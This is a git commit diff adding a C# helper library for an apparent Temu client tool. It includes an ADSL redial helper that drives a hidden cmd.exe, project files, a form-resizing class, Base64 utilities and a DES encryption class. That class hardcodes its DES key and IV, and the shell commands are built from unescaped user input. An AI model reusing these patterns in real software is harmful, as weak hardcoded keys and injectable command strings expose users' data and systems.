temu客户端程序
This commit is contained in:
commit
4aaf264e89
694 files changed
+263780
No files matched your search
@@ -0,0 +1,88 @@
|
||||
using System.Diagnostics;
|
||||
|
||||
|
||||
namespace AllBase
|
||||
{
|
||||
public class AdslHelper
|
||||
{
|
||||
/// <summary>
|
||||
/// 宽带名称
|
||||
/// </summary>
|
||||
public static string Name;
|
||||
/// <summary>
|
||||
/// 宽带名称
|
||||
/// </summary>
|
||||
public static string User;
|
||||
/// <summary>
|
||||
/// 宽带名称
|
||||
/// </summary>
|
||||
public static string Pass;
|
||||
/// <summary>
|
||||
/// 宽带名称
|
||||
/// </summary>
|
||||
public AdslHelper()
|
||||
{
|
||||
}
|
||||
/// <summary>
|
||||
/// 初始化
|
||||
/// </summary>
|
||||
/// <param name="name"></param>
|
||||
/// <param name="user"></param>
|
||||
/// <param name="pass"></param>
|
||||
public AdslHelper(string name, string user, string pass)
|
||||
{
|
||||
Name = name;
|
||||
User = user;
|
||||
Pass = pass;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// 链接
|
||||
/// </summary>
|
||||
/// <param name="user"></param>
|
||||
/// <param name="pass"></param>
|
||||
public void Connect(string user, string pass)
|
||||
{
|
||||
string arg = string.Format("rasdial \"{0}\" {1} {2}", Name, user, pass);
|
||||
InvokeCmd(arg);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// 链接
|
||||
/// </summary>
|
||||
public bool Connect()
|
||||
{
|
||||
string arg = string.Format("rasdial \"{0}\" {1} {2}", Name, User, Pass);
|
||||
string result = InvokeCmd(arg);
|
||||
if (result.Contains("已连接")|| result.Contains("已经连接"))
|
||||
return true;
|
||||
return false;
|
||||
}
|
||||
/// <summary>
|
||||
/// 关闭链接
|
||||
/// </summary>
|
||||
public bool Disconnect()
|
||||
{
|
||||
string arg = string.Format("rasdial \"{0}\" /disconnect", Name);
|
||||
string result=InvokeCmd(arg);
|
||||
if (result.Contains("命令已完成"))
|
||||
return true;
|
||||
return false;
|
||||
}
|
||||
public static string InvokeCmd(string cmdArgs)
|
||||
{
|
||||
Process p = new Process();
|
||||
p.StartInfo.FileName = "cmd.exe";
|
||||
p.StartInfo.UseShellExecute = false;
|
||||
p.StartInfo.RedirectStandardInput = true;
|
||||
p.StartInfo.RedirectStandardOutput = true;
|
||||
p.StartInfo.RedirectStandardError = true;
|
||||
p.StartInfo.CreateNoWindow = true;
|
||||
p.Start();
|
||||
p.StandardInput.WriteLine(cmdArgs);
|
||||
p.StandardInput.WriteLine("exit");
|
||||
return p.StandardOutput.ReadToEnd();
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,249 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="12.0" DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<Import Project="..\packages\CefSharp.WinForms.79.1.360\build\CefSharp.WinForms.props" Condition="Exists('..\packages\CefSharp.WinForms.79.1.360\build\CefSharp.WinForms.props')" />
|
||||
<Import Project="..\packages\CefSharp.Common.79.1.360\build\CefSharp.Common.props" Condition="Exists('..\packages\CefSharp.Common.79.1.360\build\CefSharp.Common.props')" />
|
||||
<Import Project="..\packages\cef.redist.x86.79.1.36\build\cef.redist.x86.props" Condition="Exists('..\packages\cef.redist.x86.79.1.36\build\cef.redist.x86.props')" />
|
||||
<Import Project="..\packages\cef.redist.x64.79.1.36\build\cef.redist.x64.props" Condition="Exists('..\packages\cef.redist.x64.79.1.36\build\cef.redist.x64.props')" />
|
||||
<PropertyGroup>
|
||||
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
|
||||
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
|
||||
<ProductVersion>8.0.30703</ProductVersion>
|
||||
<SchemaVersion>2.0</SchemaVersion>
|
||||
<ProjectGuid>{6461D807-B1C8-45F0-B388-E0CA1A418DE0}</ProjectGuid>
|
||||
<OutputType>Library</OutputType>
|
||||
<AppDesignerFolder>Properties</AppDesignerFolder>
|
||||
<RootNamespace>AllBase</RootNamespace>
|
||||
<AssemblyName>AllBase</AssemblyName>
|
||||
<TargetFrameworkVersion>v4.5.2</TargetFrameworkVersion>
|
||||
<FileAlignment>512</FileAlignment>
|
||||
<TargetFrameworkProfile>
|
||||
</TargetFrameworkProfile>
|
||||
<NuGetPackageImportStamp>
|
||||
</NuGetPackageImportStamp>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)' == 'Debug|x86'">
|
||||
<DebugSymbols>true</DebugSymbols>
|
||||
<OutputPath>..\bin\</OutputPath>
|
||||
<DefineConstants>DEBUG;TRACE</DefineConstants>
|
||||
<AllowUnsafeBlocks>true</AllowUnsafeBlocks>
|
||||
<DebugType>full</DebugType>
|
||||
<PlatformTarget>x86</PlatformTarget>
|
||||
<CodeAnalysisLogFile>..\bin\AllBase.dll.CodeAnalysisLog.xml</CodeAnalysisLogFile>
|
||||
<CodeAnalysisUseTypeNameInSuppression>true</CodeAnalysisUseTypeNameInSuppression>
|
||||
<CodeAnalysisModuleSuppressionsFile>GlobalSuppressions.cs</CodeAnalysisModuleSuppressionsFile>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<CodeAnalysisRuleSet>MinimumRecommendedRules.ruleset</CodeAnalysisRuleSet>
|
||||
<CodeAnalysisRuleSetDirectories>;D:\Program Files (x86)\Microsoft Visual Studio 10.0\Team Tools\Static Analysis Tools\\Rule Sets</CodeAnalysisRuleSetDirectories>
|
||||
<CodeAnalysisRuleDirectories>;D:\Program Files (x86)\Microsoft Visual Studio 10.0\Team Tools\Static Analysis Tools\FxCop\\Rules</CodeAnalysisRuleDirectories>
|
||||
<CodeAnalysisIgnoreBuiltInRules>false</CodeAnalysisIgnoreBuiltInRules>
|
||||
<CodeAnalysisFailOnMissingRules>false</CodeAnalysisFailOnMissingRules>
|
||||
<UseVSHostingProcess>false</UseVSHostingProcess>
|
||||
<Prefer32Bit>false</Prefer32Bit>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)' == 'Release|x86'">
|
||||
<OutputPath>..\bin\</OutputPath>
|
||||
<AllowUnsafeBlocks>true</AllowUnsafeBlocks>
|
||||
<Optimize>true</Optimize>
|
||||
<DebugType>pdbonly</DebugType>
|
||||
<PlatformTarget>x86</PlatformTarget>
|
||||
<CodeAnalysisLogFile>..\bin\AllBase.dll.CodeAnalysisLog.xml</CodeAnalysisLogFile>
|
||||
<CodeAnalysisUseTypeNameInSuppression>true</CodeAnalysisUseTypeNameInSuppression>
|
||||
<CodeAnalysisModuleSuppressionsFile>GlobalSuppressions.cs</CodeAnalysisModuleSuppressionsFile>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<CodeAnalysisRuleSet>MinimumRecommendedRules.ruleset</CodeAnalysisRuleSet>
|
||||
<CodeAnalysisRuleSetDirectories>;D:\Program Files (x86)\Microsoft Visual Studio 10.0\Team Tools\Static Analysis Tools\\Rule Sets</CodeAnalysisRuleSetDirectories>
|
||||
<CodeAnalysisRuleDirectories>;D:\Program Files (x86)\Microsoft Visual Studio 10.0\Team Tools\Static Analysis Tools\FxCop\\Rules</CodeAnalysisRuleDirectories>
|
||||
<CodeAnalysisIgnoreBuiltInRules>false</CodeAnalysisIgnoreBuiltInRules>
|
||||
<CodeAnalysisFailOnMissingRules>false</CodeAnalysisFailOnMissingRules>
|
||||
<UseVSHostingProcess>false</UseVSHostingProcess>
|
||||
<Prefer32Bit>false</Prefer32Bit>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)' == 'Debug|AnyCPU'">
|
||||
<DebugSymbols>true</DebugSymbols>
|
||||
<OutputPath>..\bin\</OutputPath>
|
||||
<DefineConstants>DEBUG;TRACE</DefineConstants>
|
||||
<AllowUnsafeBlocks>true</AllowUnsafeBlocks>
|
||||
<DebugType>full</DebugType>
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<UseVSHostingProcess>false</UseVSHostingProcess>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<CodeAnalysisRuleSet>MinimumRecommendedRules.ruleset</CodeAnalysisRuleSet>
|
||||
<CodeAnalysisIgnoreBuiltInRules>false</CodeAnalysisIgnoreBuiltInRules>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)' == 'Release|AnyCPU'">
|
||||
<OutputPath>..\bin\</OutputPath>
|
||||
<AllowUnsafeBlocks>true</AllowUnsafeBlocks>
|
||||
<Optimize>true</Optimize>
|
||||
<DebugType>pdbonly</DebugType>
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<UseVSHostingProcess>false</UseVSHostingProcess>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<CodeAnalysisRuleSet>MinimumRecommendedRules.ruleset</CodeAnalysisRuleSet>
|
||||
<CodeAnalysisIgnoreBuiltInRules>false</CodeAnalysisIgnoreBuiltInRules>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)' == 'Debug|x64'">
|
||||
<DebugSymbols>true</DebugSymbols>
|
||||
<OutputPath>bin\x64\Debug\</OutputPath>
|
||||
<DefineConstants>DEBUG;TRACE</DefineConstants>
|
||||
<AllowUnsafeBlocks>true</AllowUnsafeBlocks>
|
||||
<DebugType>full</DebugType>
|
||||
<PlatformTarget>x64</PlatformTarget>
|
||||
<UseVSHostingProcess>false</UseVSHostingProcess>
|
||||
<LangVersion>7.3</LangVersion>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<CodeAnalysisRuleSet>MinimumRecommendedRules.ruleset</CodeAnalysisRuleSet>
|
||||
<CodeAnalysisIgnoreBuiltInRules>false</CodeAnalysisIgnoreBuiltInRules>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)' == 'Release|x64'">
|
||||
<OutputPath>bin\x64\Release\</OutputPath>
|
||||
<AllowUnsafeBlocks>true</AllowUnsafeBlocks>
|
||||
<Optimize>true</Optimize>
|
||||
<DebugType>pdbonly</DebugType>
|
||||
<PlatformTarget>x64</PlatformTarget>
|
||||
<UseVSHostingProcess>false</UseVSHostingProcess>
|
||||
<LangVersion>7.3</LangVersion>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<CodeAnalysisRuleSet>MinimumRecommendedRules.ruleset</CodeAnalysisRuleSet>
|
||||
<CodeAnalysisIgnoreBuiltInRules>false</CodeAnalysisIgnoreBuiltInRules>
|
||||
</PropertyGroup>
|
||||
<ItemGroup>
|
||||
<Reference Include="DevComponents.DotNetBar2">
|
||||
<HintPath>..\DllReference\DevComponents.DotNetBar2.dll</HintPath>
|
||||
</Reference>
|
||||
<Reference Include="NaiBa.Util, Version=1.0.0.0, Culture=neutral, processorArchitecture=MSIL">
|
||||
<SpecificVersion>False</SpecificVersion>
|
||||
<HintPath>..\DllReference\NaiBa.Util.dll</HintPath>
|
||||
</Reference>
|
||||
<Reference Include="Newtonsoft.Json, Version=9.0.0.0, Culture=neutral, PublicKeyToken=30ad4fe6b2a6aeed, processorArchitecture=MSIL">
|
||||
<HintPath>..\packages\Newtonsoft.Json.9.0.1\lib\net45\Newtonsoft.Json.dll</HintPath>
|
||||
<Private>True</Private>
|
||||
</Reference>
|
||||
<Reference Include="System" />
|
||||
<Reference Include="System.Data" />
|
||||
<Reference Include="System.Data.SQLite, Version=1.0.109.0, Culture=neutral, PublicKeyToken=db937bc2d44ff139, processorArchitecture=x86">
|
||||
<SpecificVersion>False</SpecificVersion>
|
||||
<HintPath>..\DllReference\System.Data.SQLite.DLL</HintPath>
|
||||
</Reference>
|
||||
<Reference Include="System.Drawing" />
|
||||
<Reference Include="System.Management" />
|
||||
<Reference Include="System.Web" />
|
||||
<Reference Include="System.Web.Extensions" />
|
||||
<Reference Include="System.Web.Services" />
|
||||
<Reference Include="System.Windows.Forms" />
|
||||
<Reference Include="System.Xml" />
|
||||
<Reference Include="zxing, Version=0.12.0.0, Culture=neutral, PublicKeyToken=4e88037ac681fe60, processorArchitecture=MSIL">
|
||||
<SpecificVersion>False</SpecificVersion>
|
||||
<HintPath>..\DllReference\zxing.dll</HintPath>
|
||||
</Reference>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Compile Include="AdslHelper.cs" />
|
||||
<Compile Include="AutoSizeFormClass.cs" />
|
||||
<Compile Include="Base64Encode.cs" />
|
||||
<Compile Include="BaseClass.cs" />
|
||||
<Compile Include="BaseEncrypt.cs" />
|
||||
<Compile Include="BaseRegex.cs" />
|
||||
<Compile Include="BaseWork.cs" />
|
||||
<Compile Include="CacheHelper.cs" />
|
||||
<Compile Include="CollectBase.cs" />
|
||||
<Compile Include="CommonPassword.cs" />
|
||||
<Compile Include="ConvertExtension.cs" />
|
||||
<Compile Include="EnumHelper.cs" />
|
||||
<Compile Include="Extension\JTokenExtension.cs" />
|
||||
<Compile Include="Extension\LinqExtension.cs" />
|
||||
<Compile Include="FileBase.cs" />
|
||||
<Compile Include="GetHtml.cs" />
|
||||
<Compile Include="GetProxyHtml.cs" />
|
||||
<Compile Include="Helper\CommonSimRequest.cs" />
|
||||
<Compile Include="Helper\DataOpenSSL.cs" />
|
||||
<Compile Include="Helper\FissionDataBaseConfig.cs" />
|
||||
<Compile Include="Helper\GlobalConfig.cs" />
|
||||
<Compile Include="HttpUtility.cs" />
|
||||
<Compile Include="IECookies.cs" />
|
||||
<Compile Include="ImageBuild.cs" />
|
||||
<Compile Include="ImageCut.cs" />
|
||||
<Compile Include="ImageErWeiMa.cs" />
|
||||
<Compile Include="IPLocationSearch.cs" />
|
||||
<Compile Include="JsonHelper.cs" />
|
||||
<Compile Include="LogSave.cs" />
|
||||
<Compile Include="Md5Base.cs" />
|
||||
<Compile Include="Model\Param\CollectManage\FissionSettingParam.cs" />
|
||||
<Compile Include="Model\Param\OrderManage\FreightTemplateParam.cs" />
|
||||
<Compile Include="Model\Param\ProductManage\DyCategoryParam.cs" />
|
||||
<Compile Include="Model\Param\FissionManage\FissionData.cs" />
|
||||
<Compile Include="Model\Param\FissionManage\FissionDataModel.cs" />
|
||||
<Compile Include="Model\Param\FissionManage\FissionRoot.cs" />
|
||||
<Compile Include="Model\Param\ProductManage\SameProductCheckParam.cs" />
|
||||
<Compile Include="Model\Param\ProductManage\ViolateParam.cs" />
|
||||
<Compile Include="Model\Param\ProductManage\QualificationConfig.cs" />
|
||||
<Compile Include="Model\Param\ProductManage\ViolateRuleParam.cs" />
|
||||
<Compile Include="Model\Param\SalesManage\PromotionAddParam.cs" />
|
||||
<Compile Include="Model\Param\ShopManage\DouShopSettingParam.cs" />
|
||||
<Compile Include="Model\Param\UploadManage\UploadCommissionParam.cs" />
|
||||
<Compile Include="Model\Param\UploadManage\UploadErrorParam.cs" />
|
||||
<Compile Include="Model\Result\AddressAreaInfo.cs" />
|
||||
<Compile Include="Model\Result\DouGoodsCollectInfo.cs" />
|
||||
<Compile Include="Model\Result\DouProductListInfo.cs" />
|
||||
<Compile Include="Model\Result\DouProductPromotionListInfo.cs" />
|
||||
<Compile Include="Model\Result\DouProductTradeIndexListInfo.cs" />
|
||||
<Compile Include="Model\Result\DouShopLoginInfo.cs" />
|
||||
<Compile Include="Model\Result\CatePropertyResponseInfo.cs" />
|
||||
<Compile Include="Model\Result\FreightTemplateInfo.cs" />
|
||||
<Compile Include="Model\Result\ViolateInfo.cs" />
|
||||
<Compile Include="MultiThreadClient.cs" />
|
||||
<Compile Include="OutExcel.cs" />
|
||||
<Compile Include="Properties\AssemblyInfo.cs" />
|
||||
<Compile Include="Properties\Resources.Designer.cs">
|
||||
<AutoGen>True</AutoGen>
|
||||
<DesignTime>True</DesignTime>
|
||||
<DependentUpon>Resources.resx</DependentUpon>
|
||||
</Compile>
|
||||
<Compile Include="Randomx.cs" />
|
||||
<Compile Include="RsaBase.cs" />
|
||||
<Compile Include="Segment.cs" />
|
||||
<Compile Include="ShopInfo.cs" />
|
||||
<Compile Include="SignHelper.cs" />
|
||||
<Compile Include="BaseSpecialConfig.cs" />
|
||||
<Compile Include="SqlHelper.cs" />
|
||||
<Compile Include="SqliteHelper.cs" />
|
||||
<Compile Include="TempFileReadWrite.cs" />
|
||||
<Compile Include="Threadx.cs" />
|
||||
<Compile Include="TreadTime.cs" />
|
||||
<Compile Include="WebClientx.cs">
|
||||
<SubType>Component</SubType>
|
||||
</Compile>
|
||||
<Compile Include="ZipHelper.cs" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<EmbeddedResource Include="Properties\Resources.resx">
|
||||
<Generator>ResXFileCodeGenerator</Generator>
|
||||
<LastGenOutput>Resources.Designer.cs</LastGenOutput>
|
||||
<SubType>Designer</SubType>
|
||||
</EmbeddedResource>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="packages.config" />
|
||||
</ItemGroup>
|
||||
<ItemGroup />
|
||||
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
|
||||
<Target Name="EnsureNuGetPackageBuildImports" BeforeTargets="PrepareForBuild">
|
||||
<PropertyGroup>
|
||||
<ErrorText>这台计算机上缺少此项目引用的 NuGet 程序包。使用“NuGet 程序包还原”可下载这些程序包。有关更多信息,请参见 http://go.microsoft.com/fwlink/?LinkID=322105。缺少的文件是 {0}。</ErrorText>
|
||||
</PropertyGroup>
|
||||
<Error Condition="!Exists('..\packages\cef.redist.x64.79.1.36\build\cef.redist.x64.props')" Text="$([System.String]::Format('$(ErrorText)', '..\packages\cef.redist.x64.79.1.36\build\cef.redist.x64.props'))" />
|
||||
<Error Condition="!Exists('..\packages\cef.redist.x86.79.1.36\build\cef.redist.x86.props')" Text="$([System.String]::Format('$(ErrorText)', '..\packages\cef.redist.x86.79.1.36\build\cef.redist.x86.props'))" />
|
||||
<Error Condition="!Exists('..\packages\CefSharp.Common.79.1.360\build\CefSharp.Common.props')" Text="$([System.String]::Format('$(ErrorText)', '..\packages\CefSharp.Common.79.1.360\build\CefSharp.Common.props'))" />
|
||||
<Error Condition="!Exists('..\packages\CefSharp.Common.79.1.360\build\CefSharp.Common.targets')" Text="$([System.String]::Format('$(ErrorText)', '..\packages\CefSharp.Common.79.1.360\build\CefSharp.Common.targets'))" />
|
||||
<Error Condition="!Exists('..\packages\CefSharp.WinForms.79.1.360\build\CefSharp.WinForms.props')" Text="$([System.String]::Format('$(ErrorText)', '..\packages\CefSharp.WinForms.79.1.360\build\CefSharp.WinForms.props'))" />
|
||||
<Error Condition="!Exists('..\packages\CefSharp.WinForms.79.1.360\build\CefSharp.WinForms.targets')" Text="$([System.String]::Format('$(ErrorText)', '..\packages\CefSharp.WinForms.79.1.360\build\CefSharp.WinForms.targets'))" />
|
||||
</Target>
|
||||
<Import Project="..\packages\CefSharp.Common.79.1.360\build\CefSharp.Common.targets" Condition="Exists('..\packages\CefSharp.Common.79.1.360\build\CefSharp.Common.targets')" />
|
||||
<Import Project="..\packages\CefSharp.WinForms.79.1.360\build\CefSharp.WinForms.targets" Condition="Exists('..\packages\CefSharp.WinForms.79.1.360\build\CefSharp.WinForms.targets')" />
|
||||
<!-- To modify your build process, add your task inside one of the targets below and uncomment it.
|
||||
Other similar extension points exist, see Microsoft.Common.targets.
|
||||
<Target Name="BeforeBuild">
|
||||
</Target>
|
||||
<Target Name="AfterBuild">
|
||||
</Target>
|
||||
-->
|
||||
</Project>
|
||||
@@ -0,0 +1,9 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)' == 'Debug|x86'">
|
||||
<EnableUnmanagedDebugging>false</EnableUnmanagedDebugging>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup>
|
||||
<ProjectView>ShowAllFiles</ProjectView>
|
||||
</PropertyGroup>
|
||||
</Project>
|
||||
@@ -0,0 +1,112 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Text;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace AllBase
|
||||
{
|
||||
public class AutoSizeFormClass
|
||||
{
|
||||
//(1).声明结构,只记录窗体和其控件的初始位置和大小。
|
||||
public struct controlRect
|
||||
{
|
||||
public int Left;
|
||||
public int Top;
|
||||
public int Width;
|
||||
public int Height;
|
||||
}
|
||||
//(2).声明 1个对象
|
||||
//注意这里不能使用控件列表记录 List nCtrl;,因为控件的关联性,记录的始终是当前的大小。
|
||||
// public List oldCtrl= new List();//这里将西文的大于小于号都过滤掉了,只能改为中文的,使用中要改回西文
|
||||
public List<controlRect> oldCtrl = new List<controlRect>();
|
||||
int ctrlNo = 0;//1;
|
||||
//(3). 创建两个函数
|
||||
//(3.1)记录窗体和其控件的初始位置和大小,
|
||||
public void controllInitializeSize(Control mForm)
|
||||
{
|
||||
controlRect cR;
|
||||
cR.Left = mForm.Left; cR.Top = mForm.Top; cR.Width = mForm.Width; cR.Height = mForm.Height;
|
||||
oldCtrl.Add(cR);//第一个为"窗体本身",只加入一次即可
|
||||
AddControl(mForm);//窗体内其余控件还可能嵌套控件(比如panel),要单独抽出,因为要递归调用
|
||||
//this.WindowState = (System.Windows.Forms.FormWindowState)(2);//记录完控件的初始位置和大小后,再最大化
|
||||
//0 - Normalize , 1 - Minimize,2- Maximize
|
||||
}
|
||||
private void AddControl(Control ctl)
|
||||
{
|
||||
foreach (Control c in ctl.Controls)
|
||||
{ //**放在这里,是先记录控件的子控件,后记录控件本身
|
||||
//if (c.Controls.Count > 0)
|
||||
// AddControl(c);//窗体内其余控件还可能嵌套控件(比如panel),要单独抽出,因为要递归调用
|
||||
controlRect objCtrl;
|
||||
objCtrl.Left = c.Left; objCtrl.Top = c.Top; objCtrl.Width = c.Width; objCtrl.Height = c.Height;
|
||||
oldCtrl.Add(objCtrl);
|
||||
//**放在这里,是先记录控件本身,后记录控件的子控件
|
||||
if (c.Controls.Count > 0)
|
||||
AddControl(c);//窗体内其余控件还可能嵌套控件(比如panel),要单独抽出,因为要递归调用
|
||||
}
|
||||
}
|
||||
//(3.2)控件自适应大小,
|
||||
public void controlAutoSize(Control mForm)
|
||||
{
|
||||
if (ctrlNo == 0)
|
||||
{ //*如果在窗体的Form1_Load中,记录控件原始的大小和位置,正常没有问题,但要加入皮肤就会出现问题,因为有些控件如dataGridView的的子控件还没有完成,个数少
|
||||
//*要在窗体的Form1_SizeChanged中,第一次改变大小时,记录控件原始的大小和位置,这里所有控件的子控件都已经形成
|
||||
controlRect cR;
|
||||
// cR.Left = mForm.Left; cR.Top = mForm.Top; cR.Width = mForm.Width; cR.Height = mForm.Height;
|
||||
cR.Left = 0; cR.Top = 0; cR.Width = mForm.PreferredSize.Width; cR.Height = mForm.PreferredSize.Height;
|
||||
|
||||
oldCtrl.Add(cR);//第一个为"窗体本身",只加入一次即可
|
||||
AddControl(mForm);//窗体内其余控件可能嵌套其它控件(比如panel),故单独抽出以便递归调用
|
||||
}
|
||||
float wScale = (float)mForm.Width / (float)oldCtrl[0].Width;//新旧窗体之间的比例,与最早的旧窗体
|
||||
float hScale = (float)mForm.Height / (float)oldCtrl[0].Height;//.Height;
|
||||
ctrlNo = 1;//进入=1,第0个为窗体本身,窗体内的控件,从序号1开始
|
||||
AutoScaleControl(mForm, wScale, hScale);//窗体内其余控件还可能嵌套控件(比如panel),要单独抽出,因为要递归调用
|
||||
}
|
||||
private void AutoScaleControl(Control ctl, float wScale, float hScale)
|
||||
{
|
||||
int ctrLeft0, ctrTop0, ctrWidth0, ctrHeight0;
|
||||
//int ctrlNo = 1;//第1个是窗体自身的 Left,Top,Width,Height,所以窗体控件从ctrlNo=1开始
|
||||
foreach (Control c in ctl.Controls)
|
||||
{ //**放在这里,是先缩放控件的子控件,后缩放控件本身
|
||||
//if (c.Controls.Count > 0)
|
||||
// AutoScaleControl(c, wScale, hScale);//窗体内其余控件还可能嵌套控件(比如panel),要单独抽出,因为要递归调用
|
||||
ctrLeft0 = oldCtrl[ctrlNo].Left;
|
||||
ctrTop0 = oldCtrl[ctrlNo].Top;
|
||||
ctrWidth0 = oldCtrl[ctrlNo].Width;
|
||||
ctrHeight0 = oldCtrl[ctrlNo].Height;
|
||||
//c.Left = (int)((ctrLeft0 - wLeft0) * wScale) + wLeft1;//新旧控件之间的线性比例
|
||||
//c.Top = (int)((ctrTop0 - wTop0) * h) + wTop1;
|
||||
c.Left = (int)((ctrLeft0) * wScale);//新旧控件之间的线性比例。控件位置只相对于窗体,所以不能加 + wLeft1
|
||||
c.Top = (int)((ctrTop0) * hScale);//
|
||||
c.Width = (int)(ctrWidth0 * wScale);//只与最初的大小相关,所以不能与现在的宽度相乘 (int)(c.Width * w);
|
||||
c.Height = (int)(ctrHeight0 * hScale);//
|
||||
ctrlNo++;//累加序号
|
||||
//**放在这里,是先缩放控件本身,后缩放控件的子控件
|
||||
if (c.Controls.Count > 0)
|
||||
AutoScaleControl(c, wScale, hScale);//窗体内其余控件还可能嵌套控件(比如panel),要单独抽出,因为要递归调用
|
||||
|
||||
if (ctl is DataGridView)
|
||||
{
|
||||
DataGridView dgv = ctl as DataGridView;
|
||||
Cursor.Current = Cursors.WaitCursor;
|
||||
|
||||
int widths = 0;
|
||||
for (int i = 0; i < dgv.Columns.Count; i++)
|
||||
{
|
||||
dgv.AutoResizeColumn(i, DataGridViewAutoSizeColumnMode.AllCells); // 自动调整列宽
|
||||
widths += dgv.Columns[i].Width; // 计算调整列后单元列的宽度和
|
||||
}
|
||||
if (widths >= ctl.Size.Width) // 如果调整列的宽度大于设定列宽
|
||||
dgv.AutoSizeColumnsMode = DataGridViewAutoSizeColumnsMode.DisplayedCells; // 调整列的模式 自动
|
||||
else
|
||||
dgv.AutoSizeColumnsMode = DataGridViewAutoSizeColumnsMode.Fill; // 如果小于 则填充
|
||||
|
||||
Cursor.Current = Cursors.Default;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,76 @@
|
||||
using System;
|
||||
using System.Text;
|
||||
|
||||
namespace AllBase
|
||||
{
|
||||
|
||||
/// <summary>
|
||||
/// 实现Base64加密解密
|
||||
/// 作者:周公
|
||||
/// 时间:2007
|
||||
/// </summary>
|
||||
public static class Base64Encode
|
||||
{
|
||||
/// <summary>
|
||||
/// Base64加密
|
||||
/// </summary>
|
||||
/// <param name="codeName">加密采用的编码方式</param>
|
||||
/// <param name="source">待加密的明文</param>
|
||||
/// <returns></returns>
|
||||
public static string EncodeBase64(Encoding encode, string source)
|
||||
{
|
||||
byte[] bytes = encode.GetBytes(source);
|
||||
try
|
||||
{
|
||||
string code = Convert.ToBase64String(bytes);
|
||||
return code;
|
||||
}
|
||||
catch
|
||||
{
|
||||
return source;
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Base64加密,采用utf8编码方式加密
|
||||
/// </summary>
|
||||
/// <param name="source">待加密的明文</param>
|
||||
/// <returns>加密后的字符串</returns>
|
||||
public static string EncodeBase64(string source)
|
||||
{
|
||||
return EncodeBase64(Encoding.UTF8, source);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Base64解密
|
||||
/// </summary>
|
||||
/// <param name="codeName">解密采用的编码方式,注意和加密时采用的方式一致</param>
|
||||
/// <param name="result">待解密的密文</param>
|
||||
/// <returns>解密后的字符串</returns>
|
||||
public static string DecodeBase64(Encoding encode, string result)
|
||||
{
|
||||
string decode = "";
|
||||
byte[] bytes = Convert.FromBase64String(result);
|
||||
try
|
||||
{
|
||||
decode = encode.GetString(bytes);
|
||||
}
|
||||
catch
|
||||
{
|
||||
decode = result;
|
||||
}
|
||||
return decode;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Base64解密,采用utf8编码方式解密
|
||||
/// </summary>
|
||||
/// <param name="result">待解密的密文</param>
|
||||
/// <returns>解密后的字符串</returns>
|
||||
public static string DecodeBase64(string result)
|
||||
{
|
||||
return DecodeBase64(Encoding.UTF8, result);
|
||||
}
|
||||
}
|
||||
}
|
||||
File diff suppressed because it is too large.
Load diff
@@ -0,0 +1,254 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Security.Cryptography;
|
||||
using System.Text;
|
||||
using System.Threading.Tasks;
|
||||
|
||||
namespace AllBase
|
||||
{
|
||||
public class BaseEncrypt
|
||||
{
|
||||
#region EBFB8THEA 加密
|
||||
public static string _KEY = "XNNRSAA1"; //密钥
|
||||
public static string _IV = "RSABPDD2"; //向量
|
||||
|
||||
/// <summary>
|
||||
/// 加密
|
||||
/// </summary>
|
||||
/// <param name="data">需要加密的文本</param>
|
||||
/// <returns></returns>
|
||||
public static string EncryptEncode(string data, string _key = "", string _iv = "")
|
||||
{
|
||||
if (string.IsNullOrEmpty(_key))
|
||||
_key = _KEY;
|
||||
if (string.IsNullOrEmpty(_iv))
|
||||
_iv = _IV;
|
||||
|
||||
byte[] byKey = System.Text.ASCIIEncoding.ASCII.GetBytes(_key);
|
||||
byte[] byIV = System.Text.ASCIIEncoding.ASCII.GetBytes(_iv);
|
||||
|
||||
DESCryptoServiceProvider cryptoProvider = new DESCryptoServiceProvider();
|
||||
int i = cryptoProvider.KeySize;
|
||||
MemoryStream ms = new MemoryStream();
|
||||
CryptoStream cst = new CryptoStream(ms, cryptoProvider.CreateEncryptor(byKey, byIV), CryptoStreamMode.Write);
|
||||
|
||||
StreamWriter sw = new StreamWriter(cst);
|
||||
sw.Write(data);
|
||||
sw.Flush();
|
